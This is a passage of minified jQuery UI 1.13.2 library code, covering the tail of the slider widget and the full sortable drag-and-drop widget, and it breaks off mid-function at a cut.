this._hasMultipleValues()?this._values(t):this.value();for(i=this.options.values,s=t,n=0;n<i.length;n+=1)i[n]=this._trimAlignValue(s[n]),this._change(null,n);this._refreshValue()},_setOption:function(t,e){var i,s=0;switch("range"===t&&!0===this.options.range&&("min"===e?(this.options.value=this._values(0),this.options.values=null):"max"===e&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),Array.isArray(this.options.values)&&(s=this.options.values.length),this._super(t,e),t){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(e),this.handles.css("horizontal"===e?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),i=s-1;0<=i;i--)this._change(null,i);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var t=this.options.value;return t=this._trimAlignValue(t)},_values:function(t){var e,i;if(arguments.length)return t=this.options.values[t],t=this._trimAlignValue(t);if(this._hasMultipleValues()){for(e=this.options.values.slice(),i=0;i<e.length;i+=1)e[i]=this._trimAlignValue(e[i]);return e}return[]},_trimAlignValue:function(t){if(t<=this._valueMin())return this._valueMin();if(t>=this._valueMax())return this._valueMax();var e=0<this.options.step?this.options.step:1,i=(t-this._valueMin())%e,t=t-i;return 2*Math.abs(i)>=e&&(t+=0<i?e:-e),parseFloat(t.toFixed(5))},_calculateNewMax:function(){var t=this.options.max,e=this._valueMin(),i=this.options.step;(t=Math.round((t-e)/i)*i+e)>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var t=this._precisionOf(this.options.step);return t=null!==this.options.min?Math.max(t,this._precisionOf(this.options.min)):t},_precisionOf:function(t){var e=t.toString(),t=e.indexOf(".");return-1===t?0:e.length-t-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var e,i,t,s,n,o=this.options.range,a=this.options,r=this,l=!this._animateOff&&a.animate,h={};this._hasMultipleValues()?this.handles.each(function(t){i=(r.values(t)-r._valueMin())/(r._valueMax()-r._valueMin())*100,h["horizontal"===r.orientation?"left":"bottom"]=i+"%",V(this).stop(1,1)[l?"animate":"css"](h,a.animate),!0===r.options.range&&("horizontal"===r.orientation?(0===t&&r.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},a.animate),1===t&&r.range[l?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:a.animate})):(0===t&&r.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},a.animate),1===t&&r.range[l?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:a.animate}))),e=i}):(t=this.value(),s=this._valueMin(),n=this._valueMax(),i=n!==s?(t-s)/(n-s)*100:0,h["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](h,a.animate),"min"===o&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},a.animate),"max"===o&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:100-i+"%"},a.animate),"min"===o&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},a.animate),"max"===o&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:100-i+"%"},a.animate))},_handleEvents:{keydown:function(t){var e,i,s,n=V(t.target).data("ui-slider-handle-index");switch(t.keyCode){case V.ui.keyCode.HOME:case V.ui.keyCode.END:case V.ui.keyCode.PAGE_UP:case V.ui.keyCode.PAGE_DOWN:case V.ui.keyCode.UP:case V.ui.keyCode.RIGHT:case V.ui.keyCode.DOWN:case V.ui.keyCode.LEFT:if(t.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(V(t.target),null,"ui-state-active"),!1===this._start(t,n)))return}switch(s=this.options.step,e=i=this._hasMultipleValues()?this.values(n):this.value(),t.keyCode){case V.ui.keyCode.HOME:i=this._valueMin();break;case V.ui.keyCode.END:i=this._valueMax();break;case V.ui.keyCode.PAGE_UP:i=this._trimAlignValue(e+(this._valueMax()-this._valueMin())/this.numPages);break;case V.ui.keyCode.PAGE_DOWN:i=this._trimAlignValue(e-(this._valueMax()-this._valueMin())/this.numPages);break;case V.ui.keyCode.UP:case V.ui.keyCode.RIGHT:if(e===this._valueMax())return;i=this._trimAlignValue(e+s);break;case V.ui.keyCode.DOWN:case V.ui.keyCode.LEFT:if(e===this._valueMin())return;i=this._trimAlignValue(e-s)}this._slide(t,n,i)},keyup:function(t){var e=V(t.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(t,e),this._change(t,e),this._removeClass(V(t.target),null,"ui-state-active"))}}}),V.widget("ui.sortable",V.ui.mouse,{version:"1.13.2",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return e<=t&&t<e+i},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){var t=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),V.each(this.items,function(){t._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var t=this.items.length-1;0<=t;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,e){var i=null,s=!1,n=this;return!this.reverting&&(!this.options.disabled&&"static"!==this.options.type&&(this._refreshItems(t),V(t.target).parents().each(function(){if(V.data(this,n.widgetName+"-item")===n)return i=V(this),!1}),!!(i=V.data(t.target,n.widgetName+"-item")===n?V(t.target):i)&&(!(this.options.handle&&!e&&(V(this.options.handle,i).find("*").addBack().each(function(){this===t.target&&(s=!0)}),!s))&&(this.currentItem=i,this._removeCurrentsFromItems(),!0))))},_mouseStart:function(t,e,i){var s,n,o=this.options;if((this.currentContainer=this).refreshPositions(),this.appendTo=V("parent"!==o.appendTo?o.appendTo:this.currentItem.parent()),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},V.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),this.scrollParent=this.placeholder.scrollParent(),V.extend(this.offset,{parent:this._getParentOffset()}),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(n=this.document.find("body"),this.storedCursor=n.css("cursor"),n.css("cursor",o.cursor),this.storedStylesheet=V("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(n)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!i)for(s=this.containers.length-1;0<=s;s--)this.containers[s]._trigger("activate",t,this._uiHash(this));return V.ui.ddmanager&&(V.ui.ddmanager.current=this),V.ui.ddmanager&&!o.dropBehaviour&&V.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this.helper.parent().is(this.appendTo)||(this.helper.detach().appendTo(this.appendTo),this.offset.parent=this._getParentOffset()),this.position=this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,this.lastPositionAbs=this.positionAbs=this._convertPositionTo("absolute"),this._mouseDrag(t),!0},_scroll:function(t){var e=this.options,i=!1;return this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<e.scrollSensitivity?this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop+e.scrollSpeed:t.pageY-this.overflowOffset.top<e.scrollSensitivity&&(this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop-e.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<e.scrollSensitivity?this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft+e.scrollSpeed:t.pageX-this.overflowOffset.left<e.scrollSensitivity&&(this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft-e.scrollSpeed)):(t.pageY-this.document.scrollTop()<e.scrollSensitivity?i=this.document.scrollTop(this.document.scrollTop()-e.scrollSpeed):this.window.height()-(t.pageY-this.document.scrollTop())<e.scrollSensitivity&&(i=this.document.scrollTop(this.document.scrollTop()+e.scrollSpeed)),t.pageX-this.document.scrollLeft()<e.scrollSensitivity?i=this.document.scrollLeft(this.document.scrollLeft()-e.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<e.scrollSensitivity&&(i=this.document.scrollLeft(this.document.scrollLeft()+e.scrollSpeed))),i},_mouseDrag:function(t){var e,i,s,n,o=this.options;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),o.scroll&&!1!==this._scroll(t)&&(this._refreshItemPositions(!0),V.ui.ddmanager&&!o.dropBehaviour&&V.ui.ddmanager.prepareOffsets(this,t)),this.dragDirection={vertical:this._getDragVerticalDirection(),horizontal:this._getDragHorizontalDirection()},e=this.items.length-1;0<=e;e--)if(s=(i=this.items[e]).item[0],(n=this._intersectsWithPointer(i))&&i.instance===this.currentContainer&&!(s===this.currentItem[0]||this.placeholder[1===n?"next":"prev"]()[0]===s||V.contains(this.placeholder[0],s)||"semi-dynamic"===this.options.type&&V.contains(this.element[0],s))){if(this.direction=1===n?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(i))break;this._rearrange(t,i),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),V.ui.ddmanager&&V.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,e){var i,s,n,o;if(t)return V.ui.ddmanager&&!this.options.dropBehaviour&&V.ui.ddmanager.drop(this,t),this.options.revert?(s=(i=this).placeholder.offset(),o={},(n=this.options.axis)&&"x"!==n||(o.left=s.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),n&&"y"!==n||(o.top=s.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,V(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){i._clear(t)})):this._clear(t,e),!1},cancel:function(){if(this.dragging){this._mouseUp(new V.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var t=this.containers.length-1;0<=t;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),V.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?V(this.domPosition.prev).after(this.currentItem):V(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var t=this._getItemsAsjQuery(e&&e.connected),i=[];return e=e||{},V(t).each(function(){var t=(V(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);t&&i.push((e.key||t[1]+"[]")+"="+(e.key&&e.expression?t[1]:t[2]))}),!i.length&&e.key&&i.push(e.key+"="),i.join("&")},toArray:function(t){var e=this._getItemsAsjQuery(t&&t.connected),i=[];return t=t||{},e.each(function(){i.push(V(t.item||this).attr(t.attribute||"id")||"")}),i},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,o=t.left,a=o+t.width,r=t.top,l=r+t.height,h=this.offset.click.top,c=this.offset.click.left,h="x"===this.options.axis||r<s+h&&s+h<l,c="y"===this.options.axis||o<e+c&&e+c<a;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?h&&c:o<e+this.helperProportions.width/2&&i-this.helperProportions.width/2<a&&r<s+this.helperProportions.height/2&&n-this.helperProportions.height/2<l},_intersectsWithPointer:function(t){var e="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),t="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width);return!(!e||!t)&&(e=this.dragDirection.vertical,t=this.dragDirection.horizontal,this.floating?"right"===t||"down"===e?2:1:e&&("down"===e?2:1))},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),s=this.dragDirection.vertical,t=this.dragDirection.horizontal;return this.floating&&t?"right"===t&&i||"left"===t&&!i:s&&("down"===s&&e||"up"===s&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!=t&&(0<t?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!=t&&(0<t?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(t){var e,i,s,n,o=[],a=[],r=this._connectWith();if(r&&t)for(e=r.length-1;0<=e;e--)for(i=(s=V(r[e],this.document[0])).length-1;0<=i;i--)(n=V.data(s[i],this.widgetFullName))&&n!==this&&!n.options.disabled&&a.push(["function"==typeof n.options.items?n.options.items.call(n.element):V(n.options.items,n.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),n]);function l(){o.push(this)}for(a.push(["function"==typeof this.options.items?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):V(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),e=a.length-1;0<=e;e--)a[e][0].each(l);return V(o)},_removeCurrentsFromItems:function(){var i=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=V.grep(this.items,function(t){for(var e=0;e<i.length;e++)if(i[e]===t.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var e,i,s,n,o,a,r,l,h=this.items,c=[["function"==typeof this.options.items?this.options.items.call(this.element[0],t,{item:this.currentItem}):V(this.options.items,this.element),this]],u=this._connectWith();if(u&&this.ready)for(e=u.length-1;0<=e;e--)for(i=(s=V(u[e],this.document[0])).length-1;0<=i;i--)(n=V.data(s[i],this.widgetFullName))&&n!==this&&!n.options.disabled&&(c.push(["function"==typeof n.options.items?n.options.items.call(n.element[0],t,{item:this.currentItem}):V(n.options.items,n.element),n]),this.containers.push(n));for(e=c.length-1;0<=e;e--)for(o=c[e][1],l=(a=c[e][i=0]).length;i<l;i++)(r=V(a[i])).data(this.widgetName+"-item",o),h.push({item:r,instance:o,width:0,height:0,left:0,top:0})},_refreshItemPositions:function(t){for(var e,i,s=this.items.length-1;0<=s;s--)e=this.items[s],this.currentContainer&&e.instance!==this.currentContainer&&e.item[0]!==this.currentItem[0]||(i=this.options.toleranceElement?V(this.options.toleranceElement,e.item):e.item,t||(e.width=i.outerWidth(),e.height=i.outerHeight()),i=i.offset(),e.left=i.left,e.top=i.top)},refreshPositions:function(t){var e,i;if(this.floating=!!this.items.length&&("x"===this.options.axis||this._isFloating(this.items[0].item)),this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset()),this._refreshItemPositions(t),this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(e=this.containers.length-1;0<=e;e--)i=this.containers[e].element.offset(),this.containers[e].containerCache.left=i.left,this.containers[e].containerCache.top=i.top,this.containers[e].containerCache.width=this.containers[e].element.outerWidth(),this.containers[e].containerCache.height=this.containers[e].element.outerHeight();return this},_createPlaceholder:function(i){var s,n,o=(i=i||this).options;o.placeholder&&o.placeholder.constructor!==String||(s=o.placeholder,n=i.currentItem[0].nodeName.toLowerCase(),o.placeholder={element:function(){var t=V("<"+n+">",i.document[0]);return i._addClass(t,"ui-sortable-placeholder",s||i.currentItem[0].className)._removeClass(t,"ui-sortable-helper"),"tbody"===n?i._createTrPlaceholder(i.currentItem.find("tr").eq(0),V("<tr>",i.document[0]).appendTo(t)):"tr"===n?i._createTrPlaceholder(i.currentItem,t):"img"===n&&t.attr("src",i.currentItem.attr("src")),s||t.css("visibility","hidden"),t},update:function(t,e){s&&!o.forcePlaceholderSize||(e.height()&&(!o.forcePlaceholderSize||"tbody"!==n&&"tr"!==n)||e.height(i.currentItem.innerHeight()-parseInt(i.currentItem.css("paddingTop")||0,10)-parseInt(i.currentItem.css("paddingBottom")||0,10)),e.width()||e.width(i.currentItem.innerWidth()-parseInt(i.currentItem.css("paddingLeft")||0,10)-parseInt(i.currentItem.css("paddingRight")||0,10)))}}),i.placeholder=V(o.placeholder.element.call(i.element,i.currentItem)),i.currentItem.after(i.placeholder),o.placeholder.update(i,i.placeholder)},_createTrPlaceholder:function(t,e){var i=this;t.children().each(function(){V("<td>&#160;</td>",i.document[0]).attr("colspan",V(this).attr("colspan")||1).appendTo(e)})},_contactContainers:function(t){for(var e,i,s,n,o,a,r,l,h,c=null,u=null,d=this.containers.length-1;0<=d;d--)V.contains(this.currentItem[0],this.containers[d].element[0])||(this._intersectsWith(this.containers[d].containerCache)?c&&V.contains(this.containers[d].element[0],c.element[0])||(c=this.containers[d],u=d):this.containers[d].containerCache.over&&(this.containers[d]._trigger("out",t,this._uiHash(this)),this.containers[d].containerCache.over=0));if(c)if(1===this.containers.length)this.containers[u].containerCache.over||(this.containers[u]._trigger("over",t,this._uiHash(this)),this.containers[u].containerCache.over=1);else{for(i=1e4,s=null,n=(l=c.floating||this._isFloating(this.currentItem))?"left":"top",o=l?"width":"height",h=l?"pageX":"pageY",e=this.items.length-1;0<=e;e--)V.contains(this.containers[u].element[0],this.items[e].item[0])&&this.items[e].item[0]!==this.currentItem[0]&&(a=this.items[e].item.offset()[n],r=!1,t[h]-a>this.items[e][o]/2&&(r=!0),Math.abs(t[h]-a)<i&&(i=Math.abs(t[h]-a),s=this.items[e],this.direction=r?"up":"down"));(s||this.options.dropOnEmpty)&&(this.currentContainer!==this.containers[u]?(s?this._rearrange(t,s,null,!0):this._rearrange(t,null,this.containers[u].element,!0),this._trigger("change",t,this._uiHash()),this.containers[u]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[u],this.options.placeholder.update(this.currentContainer,this.placeholder),this.scrollParent=this.placeholder.scrollParent(),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this.containers[u]._trigger("over",t,this._uiHash(this)),this.containers[u].containerCache.over=1):this.currentContainer.containerCache.over||(this.containers[u]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1))}},_createHelper:function(t){var e=this.options,t="function"==typeof e.helper?V(e.helper.apply(this.element[0],[t,this.currentItem])):"clone"===e.helper?this.currentItem.clone():this.currentItem;return t.parents("body").length||this.appendTo[0].appendChild(t[0]),t[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),t[0].style.width&&!e.forceHelperSize||t.width(this.currentItem.width()),t[0].style.height&&!e.forceHelperSize||t.height(this.currentItem.height()),t},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&V.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&V.ui.ie?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.currentItem.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e,i=this.options;"parent"===i.containment&&(i.containment=this.helper[0].parentNode),"document"!==i.containment&&"window"!==i.containment||(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===i.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===i.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(i.containment)||(t=V(i.containment)[0],e=V(i.containment).offset(),i="hidden"!==V(t).css("overflow"),this.containment=[e.left+(parseInt(V(t).css("borderLeftWidth"),10)||0)+(parseInt(V(t).css("paddingLeft"),10)||0)-this.margins.left,e.top+(parseInt(V(t).css("borderTopWidth"),10)||0)+(parseInt(V(t).css("paddingTop"),10)||0)-this.margins.top,e.left+(i?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(V(t).css("borderLeftWidth"),10)||0)-(parseInt(V(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,e.top+(i?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(V(t).css("borderTopWidth"),10)||0)-(parseInt(V(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,e){e=e||this.position;var i="absolute"===t?1:-1,s="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&V.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,t=/(html|body)/i.test(s[0].tagName);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():t?0:s.scrollTop())*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():t?0:s.scrollLeft())*i}},_generatePosition:function(t){var e=this.options,i=t.pageX,s=t.pageY,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&V.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(n[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(i=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(s=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(i=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(s=this.containment[3]+this.offset.click.top)),e.grid&&(t=this.originalPageY+Math.round((s-this.originalPageY)/e.grid[1])*e.grid[1],s=!this.containment||t-this.offset.click.top>=this.containment[1]&&t-this.offset.click.top<=this.containment[3]?t:t-this.offset.click.top>=this.containment[1]?t-e.grid[1]:t+e.grid[1],t=this.originalPageX+Math.round((i-this.originalPageX)/e.grid[0])*e.grid[0],i=!this.containment||t-this.offset.click.left>=this.containment[0]&&t-this.offset.click.left<=this.containment[2]?t:t-this.offset.click.left>=this.containment[0]?t-e.grid[0]:t+e.grid[0])),{top:s-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():o?0:n.scrollTop()),left:i-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:n.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){this.reverting=!1;var i,s=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(i in this._storedCSS)"auto"!==this._storedCSS[i]&&"static"!==this._storedCSS[i]||(this._storedCSS[i]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();function n(e,i,s){return function(t){s._trigger(e,t,i._uiHash(i))}}for(this.fromOutside&&!e&&s.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||s.push(function(t){this._trigger("update",t,this._uiHash())}),this!==this.currentContainer&&(e||(s.push(function(t){this._trigger("remove",t,this._uiHash())}),s.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),s.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),i=this.containers.length-1;0<=i;i--)e||s.push(n("deactivate",this,this.containers[i])),this.containers[i].containerCache.over&&(s.push(n("out",this,this.containers[i])),this.containers[i].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(i=0;i<s.length;i++)s[i].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){!1===V.Widget.prototype._trigger.apply(this,arguments)&&this.cancel()},_uiHash:function(t){var e=t||this;return{helper:e.helper,placeholder:e.placeholder||V([]),position:e.position,originalPosition:e.originalPosition,offset:e.positionAbs,item:e.currentItem,sender:t?t.element:null}}});function ht(e){return function(){var 